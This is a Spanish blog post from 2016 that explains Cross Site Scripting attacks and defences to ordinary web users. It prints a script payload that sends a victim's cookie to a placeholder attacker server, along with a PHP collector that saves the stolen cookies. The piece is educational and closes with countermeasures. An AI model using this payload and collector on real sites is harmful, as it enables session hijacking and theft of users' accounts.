domingo, 13 de marzo de 2016

¿Por qué es peligroso pinchar en enlaces desconocidos?


Si eres de los que se toma a risa la seguridad informática o de los que piensan que "mi información no le interesa a nadie", probablemente ya hayas sido hackeado unas cuantas veces. ¿Acaso te fijas en los link que ves en las redes sociales para cosas que "te interesan" por si contienen algo raro? Lo normal es que no, lo cual es más peligroso de lo que crees. Te explico una de las razones:

Cross Site Scripting (XSS)

Existe un tipo de ataque llamado Cross Site Scripting (XSS) que permite introducir código malicioso en un simple enlace. De esta forma, cuando un usuario pincha en él, sus datos son capturados y enviados a los servidores del atacante de una forma totalmente transparente para el usuario el cual no se da cuenta de nada y sigue navegando.
XSS es una vulnerabilidad que afecta a aplicaciones web y navegadores. Es altamente peligrosa por el hecho de que muchos desarrolladores no la tienen en cuenta. Se trata de un agujero de seguridad que permite la inyección de código por parte de terceros a través de los campos de entrada y URLs, normalmente código JavaScript, aunque hay modalidades para inyección de código AJAX y PHP. En este código se inyectan script completos que pasan por la aplicación sin control ninguno y que pueden conllevar un filtrado de información privada, capturas de sesión, denegación de servicio etc. Basta con saber algo de HTML y un lenguaje de scripting para poder realizar este ataque. Es muy sencillo pero a la vez efectivo si la aplicación atacada no tiene la defensa adecuada, la cual es bastante fácil de implementar si se es consciente de la amenaza (Validación de campos, principalmente).

Tipos de ataque XSS

Persistente

Modifica sitios web por medio de formularios, inyectando el código que quedará almacenado en una base de datos o en un fichero del servidor. Cada vez que la página es cargada, el navegador interpreta el código introducido como legítimo, pudiendo ejecutar scripts con código malicioso capaces de capturar cookies, ejecutar servicios o hacer denegaciones de servicio.

Afecta a todos los usuarios y al sitio web, por lo que es la modalidad que infecta a usuarios de una forma masiva, siendo más peligrosa.

Volátil

Ataca usuarios concretos, bien por las redes sociales o bien por un e-mail con enlaces que llevan implícito un código malicioso. Para este tipo de ataque se hace uso de la ingeniería social ofreciendo algún premio o promoción. Deja más rastro que la persistente, por lo que es más fácil pillar al atacante si usa esta técnica.

Ataque al usuario

Es el ataque más común debido a que los usuarios son los eslabones más débiles de la seguridad y por lo tanto son muy susceptibles a caer en las trampas. Como veremos es muy fácil obtener la información de acceso a sitios web y demás datos almacenados en las cookies del usuario e incluso realizar un robo de su sesión.

Por lo general, el script malicioso se esconde en enlaces a los que la víctima accede sin comprobar el código que ejecutan. La ejecución se produce en el lado del cliente con todos los privilegios que tiene permitidos el navegador o el sitio web, pudiendo realizarse desde captura de cookies hasta activación de servicios del sistema operativo de la víctima.

Ataque mediante correo electrónico

La forma más común de engaño es el envío de correos electrónicos con enlaces que contienen el código, por lo que pueden llevarse a cabo ataques tipo “phishing” sin necesidad de copiar la página de la que se quieren obtener los datos de acceso, simplemente usando una inyección de código con un script que capture esos datos.

Un ejemplo de enlace malicioso sería el siguiente:

  • Direccionweb.com/pagina
    • Acceso a la página web con la vulnerabilidad

  • ?variable=
    • Da valor a la variable a robar que se recibe en el server

  • <script>document.location="http://ServidorDelAtacante/cookies.php?cookie="+document.cookie; </script>

    • Obtiene el valor de la cookie de usuario y redirecciona al servidor del atacante, guardando en éste los datos robados.
  • &buscar=;

    • Simula que se ha pulsado el botón de buscar

El atacante engaña a la víctima ofreciendo premios o alguna oferta a través de un enlace y al acceder a este ejecuta en su equipo el código que puede capturar su información.

Ataque contra sitios vulnerables

Este ataque consiste en la inserción de scripts en sitios vulnerables que permiten las etiquetas “perjudiciales” (<iframe>, <script>...) en sus entradas de datos sin la validación suficiente por parte del servidor. En este caso el objetivo es el mismo que el ataque por correo electrónico: esconder código en enlaces o imágenes, llegando a más usuarios.

Por lo general estos ataques se orientan al almacenamiento de información en cookies que en vez de ser alojadas en el ordenador de la víctima, se alojan en el servidor del atacante, obteniendo de esta forma los datos de una forma fácil.

Un ejemplo sería el que sigue. Obsérvese que el script es el mismo que va implícito en el enlace malicioso del ejemplo anterior, solo que en este caso no será necesario que el usuario pinche en el link, simplemente con que cargue la página será suficiente para infectarse y sustraer su cookie, por lo que podemos darnos cuenta del peligro que entraña este tipo de ataque:


<script>
document.location="http://ServidorDelAtacante/cookies.php?cookie="+document.cookie;
</script>

Por otra parte, el atacante tendrá en su servidor un script como el que sigue que le permite capturar la cookie que recibe del enlace o del script anterior:

if($_GET)
{
$fp = fopen('archivo.txt','a');
  fwrite($fp, $_GET['cookie'] );
  fclose($fp);
  echo "<script> history.back()</script>";
  }

Este código suele ser introducido en las bases de datos de determinados servicios para que cuando los usuarios intenten cargar la página web este código sea extraído y leído por el navegador, causando así los daños para los que fue creado.

Por ejemplo, ingresamos en un blog un código con un bucle infinito que muestra ventanas de forma aleatoria por la pantalla, impidiendo ver el contenido del sitio web hasta que éste es cerrado. Del mismo modo se puede inyectar un código que “sustituye” la web original mostrando una del atacante o redirigiendo a una copia fraudulenta para conseguir los datos de acceso.

Contramedidas para defenderse de XSS

Se debe tener claro que la vulnerabilidad XSS trata de ingresar código, por lo que la defensa principal consistirá en no permitir la entrada de script por medio de los campos de entrada de las aplicaciones, para ello se aconseja realizar todas estas validaciones:

Proteger el sitio web

  • Limitar el número de caracteres que se pueden ingresar en ciertos campos. Por ejemplo, para una solicitud de nombre, no debemos dejar ingresar una cantidad ingente de caracteres.
  • Validar campos
  • Usar expresiones regulares para permitir solo la inserción de entradas con un formato específico.
  • Impedir la inserción de caracteres “peligrosos”, como los que definen etiquetas o pueden afectar a las consultas de base de datos. Ej: ()[]?¿,*/<>.
  • Usar HTML-Encode: Transforma elementos que usar caracteres HTML en código que al interpretarse se visualiza como esos caracteres, pero sin ser leídos como tales por el navegador. Ej: el carácter “ sería transformado como &quot;.

Proteger al usuario

  • Cookies
    • Se debe evitar almacenar datos sensibles de los usuarios en las cookies, como pueden ser contraseñas, nombres de usuario, datos bancarios etc. 
    • Las cookies deben encriptarse.
  • Sesiones de usuario: 
    • Deben ser encriptadas las sesiones y variables usadas para transmisión de datos entre páginas. 
    • Se debe fijar un tiempo coherente para la caducidad de la sesión.
    • Se deben destruir las cookies tras finalizar la sesión.
    • Se debe solicitar la contraseña o algún mecanismo de validación para gestiones delicadas.
  • SSL:
    • Se recomienda el uso de Secure Socket Layer en partes en las que se use transfiera información importante, teniendo en cuenta que SSL no es eficaz al 100% contra XSS.
Si has llegado hasta aquí, es probable que en adelante te lo pienses dos veces antes de hacer clic en cualquier sitio...


Reacciones:

0 comentarios:

Publicar un comentario